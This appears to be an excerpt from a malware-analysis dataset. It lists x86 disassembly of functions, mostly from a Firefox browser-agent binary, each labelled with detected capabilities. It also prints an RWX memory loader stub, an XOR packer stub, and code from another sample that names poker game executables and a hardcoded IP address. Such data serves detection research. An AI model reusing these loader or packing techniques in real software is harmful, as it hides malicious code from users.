joyce8/EMBER2024-capa huggingface dataset:
Function at 0x428840
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x7c
mov dword [ebp - 0x88], ecx
mov eax, dword [0x49803c]
xor eax, ebp
mov dword [ebp - 0x10], eax
jmp dword [edx*4 + 0x4656cc]

Function at 0x428d30
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov esi, ecx
mov ecx, dword [0x49803c]
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x2c]
xor ecx, ebp
mov dword [ebp - 0x10], ecx
mov ecx, edi
push eax
call fcn.0042abb0
add esp, 4
mov eax, dword [edi + 0x18]
test eax, eax
je 0x428d74
mov dword [esi], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045fb40
mov eax, esi
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
movsd xmm0, qword [ebp - 0x1c]
movsd xmm2, qword [ebp - 0x2c]
movsd xmm1, qword [ebp - 0x24]
xor edi, edi
lea ebx, [ebp - 0x5c]
mov eax, 7
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
mov word [ebp - 0x2c], di
mov dword [ebx + 0x14], eax
mov dword [ebx + 0x10], edi
mov word [ebx], di
movsd qword [ebp - 0x34], xmm0
movsd qword [ebp - 0x3c], xmm1
movsd qword [ebp - 0x44], xmm2
sub esp, 0xc
mov al, byte [ebp - 0x60]
mov ecx, ebx
mov byte [esp + 4], al
mov dword [esp + 8], str.SOFTWAREMozillaFirefoxDefault_Browser_Agent
mov dword [esp], 0x2e
call fcn.00424520
mov ecx, 7
cmp dword [ebp - 0x30], ecx
jbe 0x428dde
mov eax, dword [ebp - 0x44]
jmp 0x428de1
lea eax, [ebp - 0x44]
cmp dword [ebp - 0x48], ecx
jbe 0x428de9
mov ebx, dword [ebp - 0x5c]
push eax
push ebx
push SysReAllocString
call dword [sym.imp.advapi32.dll_RegDeleteKeyValueW]
test eax, eax
je 0x428e1c
movzx edi, ax
mov edx, str.RegistryDeleteValue
or edi, 0x80070000
test eax, eax
cmovle edi, eax
mov ecx, edi
push 0x158
call fcn.00428eb0
add esp, 4
mov ecx, dword [ebp - 0x48]
mov dword [esi], edi
cmp ecx, 8
jb 0x428e3f
mov eax, dword [ebp - 0x5c]
lea edx, [ecx + ecx + 2]
cmp edx, 0x1000
jae 0x428e79
push edx
push eax
call fcn.0045fd21
add esp, 8
mov ecx, dword [ebp - 0x30]
cmp ecx, 8
jb 0x428e60
mov eax, dword [ebp - 0x44]
lea edx, [ecx + ecx + 2]
cmp edx, 0x1000
jae 0x428e91
push edx
push eax
call fcn.0045fd21
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], 0
jmp 0x428d60
mov edx, eax
mov eax, dword [eax - 4]
add edx, 0xfffffffc
sub edx, eax
cmp edx, 0x20
jae 0x428ea9
add ecx, ecx
add ecx, 0x25
mov edx, ecx
jmp 0x428e35
mov edx, eax
mov eax, dword [eax - 4]
add edx, 0xfffffffc
sub edx, eax
cmp edx, 0x20
jae 0x428ea9
add ecx, ecx
add ecx, 0x25
mov edx, ecx
jmp 0x428e56
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x428eb0
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], ecx
mov eax, dword [0x49803c]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, str.0x_X_in__S:_d
push dword [ebp + 8]
push edx
push ecx
push eax
call fcn.0041d4e0
add esp, 0x10
mov ebx, eax
inc ebx
xor eax, eax
mov esi, ebx
dec eax
add esi, ebx
cmovb esi, eax
push esi
call fcn.0045fd21
add esp, 4
mov edi, eax
xor eax, eax
push esi
mov esi, dword [ebp - 0x18]
push eax
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push dword [ebp + 8]
push dword [ebp - 0x1c]
push esi
mov eax, str.0x_X_in__S:_d
push eax
push 0xffffffffffffffff
push ebx
push edi
call fcn.0041d540
add esp, 0x1c
push dword [sym.default_browser_agent.exe_gWinEventLogSourceName]
xor eax, eax
push eax
call dword [sym.imp.advapi32.dll_RegisterEventSourceW]
test eax, eax
je 0x428f52
xor ecx, ecx
mov ebx, eax
lea eax, [ebp - 0x14]
xor edx, edx
mov dword [eax], edi
inc ecx
push edx
push eax
push edx
push ecx
push edx
push esi
push edx
push ecx
push ebx
call dword [sym.imp.advapi32.dll_ReportEventW]
push ebx
call dword [sym.imp.advapi32.dll_DeregisterEventSource]
push edi
call fcn.0045f40c
add esp, 4
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045fb40
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x42a620
Capabilities:
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x24
mov eax, dword [0x49803c]
mov esi, ecx
xor eax, ebp
mov dword [ebp - 8], eax
jmp dword [edx*4 + 0x4656ec]

Function at 0x42ae50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x58
mov esi, ecx
mov ecx, dword [0x49803c]
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x2c]
xor ecx, ebp
mov dword [ebp - 0x10], ecx
mov ecx, edi
push eax
call fcn.0042abb0
add esp, 4
mov eax, dword [edi + 0x18]
test eax, eax
je 0x42ae9a
mov word [esi], 0
mov dword [esi + 4], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045fb40
mov eax, esi
add esp, 0x58
pop esi
pop edi
pop ebx
pop ebp
ret
movsd xmm0, qword [ebp - 0x1c]
movsd xmm2, qword [ebp - 0x2c]
movsd xmm1, qword [ebp - 0x24]
xor eax, eax
lea edi, [ebp - 0x5c]
mov ebx, 7
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ebx
mov word [ebp - 0x2c], ax
mov dword [edi + 0x14], ebx
mov dword [edi + 0x10], eax
mov word [edi], ax
movsd qword [ebp - 0x34], xmm0
movsd qword [ebp - 0x3c], xmm1
movsd qword [ebp - 0x44], xmm2
sub esp, 0xc
mov al, byte [ebp - 0x60]
mov ecx, edi
mov byte [esp + 4], al
mov dword [esp + 8], str.SOFTWAREMozillaFirefoxDefault_Browser_Agent
mov dword [esp], 0x2e
call fcn.00424520
cmp dword [ebp - 0x30], ebx
mov dword [ebp - 0x64], 4
jbe 0x42af06
mov eax, dword [ebp - 0x44]
jmp 0x42af09
lea eax, [ebp - 0x44]
cmp dword [ebp - 0x48], ebx
jbe 0x42af11
mov edi, dword [ebp - 0x5c]
lea ecx, [ebp - 0x64]
lea edx, [ebp - 0x60]
push ecx
push edx
mov ecx, 0
push ecx
push 0x10
push eax
push edi
push SysReAllocString
call dword [sym.imp.advapi32.dll_RegGetValueW]
test eax, eax
je 0x42af45
cmp eax, 2
jne 0x42af5f
mov dword [esi + 4], 0
mov word [esi], 0
jmp 0x42af89
xor eax, eax
cmp dword [ebp - 0x60], 0
mov dword [esi + 4], 0
setne al
or eax, 0x100
mov word [esi], ax
jmp 0x42af89
movzx edi, ax
mov edx, str.RegistryGetValueBool
or edi, 0x80070000
test eax, eax
cmovle edi, eax
mov ecx, edi
push 0xb1
call fcn.00428eb0
add esp, 4
mov word [esi], 0
mov dword [esi + 4], edi
mov ecx, dword [ebp - 0x48]
cmp ecx, 8
jb 0x42afaa
mov eax, dword [ebp - 0x5c]
lea edx, [ecx + ecx + 2]
cmp edx, 0x1000
jae 0x42afe4
push edx
push eax
call fcn.0045fd21
add esp, 8
mov ecx, dword [ebp - 0x30]
cmp ecx, 8
jb 0x42afcb
mov eax, dword [ebp - 0x44]
lea edx, [ecx + ecx + 2]
cmp edx, 0x1000
jae 0x42affc
push edx
push eax
call fcn.0045fd21
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], 0
jmp 0x42ae86
mov edx, eax
mov eax, dword [eax - 4]
add edx, 0xfffffffc
sub edx, eax
cmp edx, 0x20
jae 0x42b014
add ecx, ecx
add ecx, 0x25
mov edx, ecx
jmp 0x42afa0
mov edx, eax
mov eax, dword [eax - 4]
add edx, 0xfffffffc
sub edx, eax
cmp edx, 0x20
jae 0x42b014
add ecx, ecx
add ecx, 0x25
mov edx, ecx
jmp 0x42afc1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x42b020
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov esi, ecx
mov ecx, dword [0x49803c]
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x2c]
xor ecx, ebp
mov dword [ebp - 0x10], ecx
mov ecx, edi
push eax
call fcn.0042abb0
add esp, 4
mov eax, dword [edi + 0x18]
test eax, eax
je 0x42b064
mov dword [esi], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045fb40
mov eax, esi
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
movsd xmm0, qword [ebp - 0x1c]
movsd xmm2, qword [ebp - 0x2c]
movsd xmm1, qword [ebp - 0x24]
xor edi, edi
lea ebx, [ebp - 0x5c]
mov eax, 7
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
mov word [ebp - 0x2c], di
mov dword [ebx + 0x14], eax
mov dword [ebx + 0x10], edi
mov word [ebx], di
movsd qword [ebp - 0x34], xmm0
movsd qword [ebp - 0x3c], xmm1
movsd qword [ebp - 0x44], xmm2
sub esp, 0xc
mov al, byte [ebp - 0x60]
mov ecx, ebx
mov byte [esp + 4], al
mov dword [esp + 8], str.SOFTWAREMozillaFirefoxDefault_Browser_Agent
mov dword [esp], 0x2e
call fcn.00424520
mov ecx, 7
movzx eax, byte [ebp + 0xc]
cmp dword [ebp - 0x30], ecx
mov dword [ebp - 0x60], eax
jbe 0x42b0d5
mov eax, dword [ebp - 0x44]
jmp 0x42b0d8
lea eax, [ebp - 0x44]
cmp dword [ebp - 0x48], ecx
jbe 0x42b0e0
mov ebx, dword [ebp - 0x5c]
mov ecx, 4
lea edx, [ebp - 0x60]
push ecx
push edx
push ecx
push eax
push ebx
push SysReAllocString
call dword [sym.imp.advapi32.dll_RegSetKeyValueW]
test eax, eax
je 0x42b11e
movzx edi, ax
mov edx, str.RegistrySetValueBool
or edi, 0x80070000
test eax, eax
cmovle edi, eax
mov ecx, edi
push 0xcc
call fcn.00428eb0
add esp, 4
mov ecx, dword [ebp - 0x48]
mov dword [esi], edi
cmp ecx, 8
jb 0x42b141
mov eax, dword [ebp - 0x5c]
lea edx, [ecx + ecx + 2]
cmp edx, 0x1000
jae 0x42b17b
push edx
push eax
call fcn.0045fd21
add esp, 8
mov ecx, dword [ebp - 0x30]
cmp ecx, 8
jb 0x42b162
mov eax, dword [ebp - 0x44]
lea edx, [ecx + ecx + 2]
cmp edx, 0x1000
jae 0x42b193
push edx
push eax
call fcn.0045fd21
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], 0
jmp 0x42b050
mov edx, eax
mov eax, dword [eax - 4]
add edx, 0xfffffffc
sub edx, eax
cmp edx, 0x20
jae 0x42b1ab
add ecx, ecx
add ecx, 0x25
mov edx, ecx
jmp 0x42b137
mov edx, eax
mov eax, dword [eax - 4]
add edx, 0xfffffffc
sub edx, eax
cmp edx, 0x20
jae 0x42b1ab
add ecx, ecx
add ecx, 0x25
mov edx, ecx
jmp 0x42b158
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x42b3d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x60
mov dword [esp + 4], ecx
mov edi, edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov edx, dword [0x49803c]
xor edx, ebp
mov dword [esp + 0x58], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov dword [esp + 0x54], 7
mov dword [esp + 0x50], 0
mov word [esp + 0x40], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov ebx, eax
cmp eax, 7
ja 0x42b442
mov ecx, ebx
lea eax, [esp + 0x40]
add ecx, ebx
mov dword [eax + 0x10], ebx
push ecx
push edi
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + ebx*2 + 0x40], 0
jmp 0x42b45d
sub esp, 0xc
mov al, byte [esp + 0x24]
lea ecx, [esp + 0x4c]
mov byte [esp + 4], al
mov dword [esp + 8], edi
mov dword [esp], ebx
call fcn.00424520
movsd xmm0, qword [esp + 0x48]
xor edi, edi
movzx eax, word [esp + 0x40]
mov ecx, dword [esp + 0x50]
mov esi, dword [esp + 0x54]
lea ebx, [esp + 0x18]
mov dword [esp + 0x34], edi
mov dword [esp + 0x3a], edi
mov dword [esp + 0x36], edi
mov dword [esp + 0x30], edi
mov dword [ebx + 0x10], edi
movsd qword [esp + 0x36], xmm0
movsd xmm0, qword [esp + 0x42]
mov word [esp + 0x40], ax
mov eax, 7
mov dword [ebx + 0x14], eax
mov word [ebx], 0
movsd qword [esp + 0x30], xmm0
movsd xmm0, qword [esp + 0x30]
movsd xmm1, qword [esp + 0x36]
movsd qword [esp + 0x42], xmm0
movsd qword [esp + 0x48], xmm1
mov dword [esp + 0x50], ecx
mov dword [esp + 0x54], esi
sub esp, 0xc
mov al, byte [esp + 0x20]
mov ecx, ebx
mov byte [esp + 4], al
mov dword [esp + 8], str.SOFTWAREMozillaFirefoxDefault_Browser_Agent
mov dword [esp], 0x2e
call fcn.00424520
cmp esi, 7
jbe 0x42b4f9
mov eax, dword [esp + 0x40]
jmp 0x42b4fd
lea eax, [esp + 0x40]
cmp dword [esp + 0x2c], 7
jbe 0x42b508
mov ebx, dword [esp + 0x18]
lea ecx, [esp + 8]
push 8
push ecx
push 0xb
push eax
push ebx
push SysReAllocString
call dword [sym.imp.advapi32.dll_RegSetKeyValueW]
test eax, eax
je 0x42b544
movzx edi, ax
mov edx, str.RegistrySetValueQword
or edi, 0x80070000
test eax, eax
cmovle edi, eax
mov ecx, edi
push 0x106
call fcn.00428eb0
add esp, 4
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 4]
cmp ecx, 8
mov dword [eax], edi
jb 0x42b56d
mov eax, dword [esp + 0x18]
lea edx, [ecx + ecx + 2]
cmp edx, 0x1000
jae 0x42b5a7
push edx
push eax
call fcn.0045fd21
add esp, 8
mov ecx, dword [esp + 0x54]
cmp ecx, 8
jb 0x42b590
mov eax, dword [esp + 0x40]
lea edx, [ecx + ecx + 2]
cmp edx, 0x1000
jae 0x42b5bf
push edx
push eax
call fcn.0045fd21
add esp, 8
mov ecx, dword [esp + 0x58]
xor ecx, ebp
call fcn.0045fb40
mov eax, dword [esp + 4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, eax
mov eax, dword [eax - 4]
add edx, 0xfffffffc
sub edx, eax
cmp edx, 0x20
jae 0x42b5d7
add ecx, ecx
add ecx, 0x25
mov edx, ecx
jmp 0x42b563
mov edx, eax
mov eax, dword [eax - 4]
add edx, 0xfffffffc
sub edx, eax
cmp edx, 0x20
jae 0x42b5d7
add ecx, ecx
add ecx, 0x25
mov edx, ecx
jmp 0x42b586
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x42e520
Capabilities:
Check os version
Create process on windows
Get common file path
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x540
mov esi, esp
mov dword [esi + 8], edx
mov edx, 0xf
mov eax, dword [0x49803c]
xor eax, ebp
mov dword [esi + 0x538], eax
mov dword [esi + 0x30], ecx
mov eax, dword [ecx]
jmp dword [eax*4 + 0x46570c]
Function at 0x434d60
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
cmp byte [ecx + 4], 0
mov al, 1
jne 0x434e1a
mov edi, dword [ecx]
mov esi, ecx
test edi, edi
jne 0x434da1
xor eax, eax
push str.MozillaFirefoxDefaultBrowserAgentRegistryMutex
push eax
push eax
call dword [sym.imp.kernel32.dll_CreateMutexW]
mov edi, eax
mov eax, dword [esi]
lea ecx, [eax + 1]
cmp ecx, 2
jb 0x434d9b
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
test edi, edi
mov dword [esi], edi
je 0x434e1e
push 0xbb8
push edi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x434ddf
cmp eax, 0x80
je 0x434df8
test eax, eax
je 0x434e0f
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push 0xb7
push str.Acquire
push str.Failed_to_wait_on_registry_mutex:__X
call fcn.00426ce0
add esp, 0x10
jmp 0x434e13
push 0xaa
push str.Acquire
push str.Timed_out_waiting_for_registry_mutex
call fcn.00426ce0
add esp, 0xc
jmp 0x434e13
push 0xb1
push str.Acquire
push str.Found_abandoned_registry_mutex._Continuing...
call fcn.00426ce0
add esp, 0xc
mov byte [esi + 4], 1
cmp byte [esi + 4], 0
setne al
pop esi
pop edi
pop ebp
ret
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push 0xa0
push str.Acquire
push str.Couldnt_open_registry_mutex:__X
call fcn.00426ce0
add esp, 0x10
xor eax, eax
jmp 0x434e1a
Function at 0x435dd0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [0x49803c]
mov esi, edx
xor edi, edi
lea ebx, [ebp - 0x14]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebx], edi
push ebx
push 0x20019
push edi
push str.SOFTWAREPoliciesMozillaFirefox
push ecx
call dword [sym.imp.advapi32.dll_RegOpenKeyExW]
mov ebx, dword [ebx]
test ebx, ebx
je 0x435e69
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x1c]
mov dword [eax], edi
mov dword [ecx], edi
push edi
push edi
push edi
push edi
push ecx
push edi
push edi
push eax
push edi
push edi
push edi
push ebx
call dword [sym.imp.advapi32.dll_RegQueryInfoKeyW]
mov edi, 2
test eax, eax
jne 0x435e60
lea ecx, [ebp - 0x20]
lea eax, [ebp - 0x24]
xor edi, edi
mov dword [ecx], 0xffffffff
mov dword [eax], 4
push eax
push ecx
push edi
push 0x10
push esi
push edi
push ebx
call dword [sym.imp.advapi32.dll_RegGetValueW]
lea edx, [ebp - 0x20]
xor ecx, ecx
cmp dword [edx], edi
mov edi, 2
sete cl
test eax, eax
cmove edi, ecx
push ebx
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x435e6e
mov edi, 2
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045fb40
mov eax, edi
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x436d50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [0x49803c]
mov bl, 1
xor eax, ebp
mov dword [ebp - 0x10], eax
cmp dword [ecx + 0x38], 0
je 0x436df3
cmp byte [ecx + 0x3d], 0
mov esi, ecx
je 0x436df3
mov eax, dword [esi]
mov edi, dword [eax + 0xc]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push 0xffffffffffffffff
call edi
cmp eax, 0xffffffff
je 0x436df1
mov edi, dword [esi + 0x38]
lea eax, [esi + 0x40]
mov dword [ebp - 0x38], eax
mov eax, dword [edi]
mov ebx, dword [eax + 0x20]
mov ecx, ebx
call dword [section..00cfg]
lea eax, [ebp - 0x34]
lea edx, [ebp - 0x30]
mov ecx, edi
push eax
lea eax, [ebp - 0x10]
push eax
push edx
push dword [ebp - 0x38]
call ebx
cmp eax, 3
je 0x436e07
cmp eax, 1
je 0x436dca
test eax, eax
jne 0x436df1
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x30]
sub edi, eax
je 0x436de8
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x436df1
cmp byte [esi + 0x3d], 0
sete bl
jmp 0x436df3
xor ebx, ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045fb40
mov eax, ebx
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov bl, 1
jmp 0x436df3
Function at 0x440410
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [0x49803c]
mov esi, edx
mov edi, dword [ebp + 8]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ebx, dword [ecx]
mov edx, dword [ebx + 4]
cmp byte [edx + 0xd], 0
je 0x44049b
mov dword [ebp - 0x14], ebx
mov eax, ebx
cmp ebx, dword [eax]
je 0x4404d4
mov dword [ebp - 0x18], esi
lea esi, [ebp - 0x14]
mov dword [ebp - 0x1c], ecx
mov ecx, esi
call fcn.0043fe10
mov esi, dword [esi]
mov al, 1
mov dword [ebp - 0x20], eax
lea ecx, [esi + 0x10]
mov edx, edi
call fcn.0043ae10
test al, al
je 0x4404ec
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
movzx eax, byte [ebp - 0x20]
mov edx, esi
push dword [ebp + 0xc]
push ebx
push eax
call fcn.00440230
add esp, 0xc
mov al, 1
mov byte [esi + 4], al
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045fb40
mov eax, esi
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], esi
mov esi, edx
add edx, 0x10
mov ecx, edi
call fcn.0043ae10
mov ecx, eax
xor cl, 1
movzx ecx, cl
mov edx, dword [esi + ecx*8]
cmp byte [edx + 0xd], 0
je 0x4404a1
test al, al
mov dword [ebp - 0x14], esi
je 0x4404de
mov ecx, dword [ebp - 0x1c]
mov ebx, esi
mov esi, dword [ebp - 0x18]
mov eax, dword [ecx]
jmp 0x440438
mov edx, esi
push dword [ebp + 0xc]
push ebx
push 1
jmp 0x44047a
mov dword [ebp - 0x20], 0
mov ebx, esi
jmp 0x440457
mov ecx, dword [ebp + 0xc]
call fcn.00440500
mov eax, dword [ebp - 0x18]
mov dword [eax], esi
mov esi, eax
xor eax, eax
jmp 0x440484
Function at 0x45fd21
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x45fd30
pop dword [ebp - 0x2c]
mov eax, 0x982a1aaa
sub eax, 0x97e41d7a
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3d0b6
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x58e0
mov edx, eax
mov edi, 0x49f400
add edi, dword [ebp - 0x2c]
mov esi, 0x9055077e
add dword [ebp - 0x10], esi
mov ebx, dword [edi]
mov dword [ebp - 0x28], 0xc20a5e2e
add ebx, esi
sub dword [ebp - 0xc], eax
mov dword [edx], ebx
xor dword [ebp - 0x10], 0xc05ace62
add edx, 4
add edi, 0x1d4de072
add edi, 0xe2b21f92
loop 0x45fd78
add eax, 0x3a4d2b28
add eax, 0xc5b42b2b
mov ebx, eax
add eax, 5
mov ecx, 0x915e2897
sub ecx, 0x911e2897
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x530c10cc
nop
nop
nop
test eax, eax
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..reloc
mov ebx, 0x42f314
nop
nop
mov ecx, 0x49d73b2d
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4011f8
Capabilities:
Create thread

Disassembly:
push edi
xor edi, edi
push edi
push eax
push edi
push edi
push edi
mov dword [0x42bde0], eax
mov eax, closesocket
push eax
push edi
push eax
push 0xcf0000
push 0x42bd18
push 0x42bc50
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401229
pop edi
ret
push ebx
push esi
push str.highlow2.exe
push 0x40
pop esi
push esi
push 0x42a454
call fcn.0040eae6
push 0x424930
push esi
push 0x42a954
call fcn.0040eae6
push 0x42493c
push esi
push 0x42a4d4
call fcn.0040eae6
push 0x424958
push esi
push 0x42a9d4
call fcn.0040eae6
push str.poker7.exe
push esi
push 0x42a554
call fcn.0040eae6
push 0x42498c
push esi
push 0x42aa54
call fcn.0040eae6
add esp, 0x48
push str.Baduki.exe
push esi
push 0x42a5d4
call fcn.0040eae6
push 0x4249b4
push esi
push 0x42aad4
call fcn.0040eae6
push str.HOOLA3.exe
push esi
push 0x42a654
call fcn.0040eae6
push 0x4249e0
push esi
push 0x42ab54
call fcn.0040eae6
push str.DuelPoker.exe
push esi
push 0x42a6d4
call fcn.0040eae6
push 0x424a10
push esi
push 0x42abd4
call fcn.0040eae6
add esp, 0x48
push str.PMLauncher.exe
push esi
push 0x42a754
call fcn.0040eae6
mov ebx, 0x424a40
push ebx
push esi
push 0x42ac54
call fcn.0040eae6
push str._PMLauncher.exe
push esi
push 0x42a7d4
call fcn.0040eae6
push ebx
push esi
push 0x42acd4
call fcn.0040eae6
push str.Newbadugi.exe
push esi
push 0x42a854
call fcn.0040eae6
push 0x424a88
push esi
push 0x42ad54
call fcn.0040eae6
add esp, 0x48
mov dword [0x42a450], 9
push 0x100
push edi
push 0x44bde8
call fcn.004100e0
add esp, 0xc
push 2
xor eax, eax
pop edx
movzx ecx, word [eax + 0x424a94]
mov word [eax + 0x44bdec], cx
add eax, edx
cmp cx, di
jne 0x401376
xor eax, eax
movzx ecx, word [eax + 0x424a98]
mov word [eax + 0x44be1c], cx
add eax, edx
cmp cx, di
jne 0x40138d
xor eax, eax
movzx ecx, word [eax + str.218.54.31.166]
mov word [eax + 0x44bdf0], cx
add eax, edx
cmp cx, di
jne 0x4013a4
mov dword [0x44be18], 0x51
xor eax, eax
movzx ecx, word [eax + str.MyCom]
mov word [eax + 0x44be3a], cx
add eax, edx
cmp cx, di
jne 0x4013c5
mov dword [0x44bed4], 5
mov dword [0x44bedc], 0x32
call fcn.0040243b
mov dword [0x44c0f0], eax
mov dword [0x42ae54], eax
call fcn.004024d7
mov dword [0x42ae58], eax
call fcn.0040230a
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x4014ac
push edi
push edi
mov dword [0x46caf2], 0x401e20
call esi
push edi
push edi
push edi
push 0x4017f0
push edi
push edi
call esi
pop esi
xor eax, eax
pop ebx
inc eax
pop edi
ret